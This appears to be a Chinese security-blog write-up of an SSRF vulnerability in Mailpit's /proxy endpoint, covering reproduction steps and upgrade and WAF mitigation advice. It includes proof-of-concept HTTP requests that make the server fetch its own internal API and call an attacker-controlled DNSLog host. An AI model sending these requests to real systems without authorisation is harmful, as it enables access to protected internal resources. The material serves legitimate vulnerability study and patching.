注意:本文所述技术内容仅供安全研究与学习之用,请勿用于非法用途。
0x01 漏洞介绍

Mailpit 是一款由开发者 Ralph Slooten 创建的开源电子邮件测试工具,常用于开发和测试环境,替代传统的 SMTP 服务器来捕获和查看外发邮件。
该软件在 1.28.0 及之前版本中,其 /proxy 端点存在一处服务端请求伪造(SSRF)漏洞,漏洞编号为 CVE-2026-21859。攻击者可利用此漏洞构造恶意请求,使受影响的 Mailpit 服务端向内部网络或本地环回地址发起请求,从而可能访问到本应受保护的内部资源,造成信息泄露或其他风险。
0x02 影响版本

0x03 漏洞复现
1. 访问环境
首先,你需要一个正在运行的 Mailpit 服务。访问其 Web 管理界面。

2. 漏洞验证 (POC)
漏洞点位于 /proxy 端点,其 url 参数未对内部地址进行有效过滤。最基本的验证方法是尝试让 Mailpit 访问其自身的 API 接口。
POC 请求如下:
GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1
Host: 127.0.0.1:8025
如果目标 Mailpit 服务运行在 127.0.0.1:8025 且存在漏洞,将成功请求到其 /api/v1/info 接口并返回 JSON 格式的系统信息。

利用 DNSLog 进行带外测试:
为了确认漏洞确实可导致对外发起请求,可以使用 DNSLog 平台进行验证。将 url 参数指向一个由你控制的 DNSLog 地址。
GET /proxy?url=http://your-subdomain.dnslog.cn HTTP/1.1
Host: 127.0.0.1:8025
若漏洞存在,Mailpit 服务端会尝试解析并连接 your-subdomain.dnslog.cn,从而在你的 DNSLog 平台上留下记录,这属于典型的 SSRF 漏洞验证手段,常在安全测试中使用。

3. 工具测试
该漏洞已被集成到如 Nuclei 等自动化渗透测试工具中,方便安全人员对目标资产进行批量检测。

0x04 修复建议
此漏洞的根本原因是 /proxy 端点未能有效校验目标 URL。官方已发布新版本修复了此问题。
-
官方升级(推荐):立即将 Mailpit 升级至 1.28.1 或更高版本。补丁详情及下载链接如下:
- 发行版页面:
https://github.com/axllent/mailpit/releases
- 安全公告:
https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr
-
临时缓解措施:如果暂时无法升级,可以在前置的 Web 应用防火墙(WAF)或入侵检测/防御系统(IDS/IPS)中部署针对此漏洞 POC 的检测规则,拦截相关的恶意请求。这类规则通常属于运维与测试中的安全防护范畴。
写在最后
漏洞复现是理解安全风险、验证修复方案的重要学习过程。希望本文的分享能帮助你更深入地理解 SSRF 漏洞的原理与影响。如果你对网络安全和漏洞研究有更多兴趣,欢迎在云栈社区与其他技术爱好者交流探讨。

|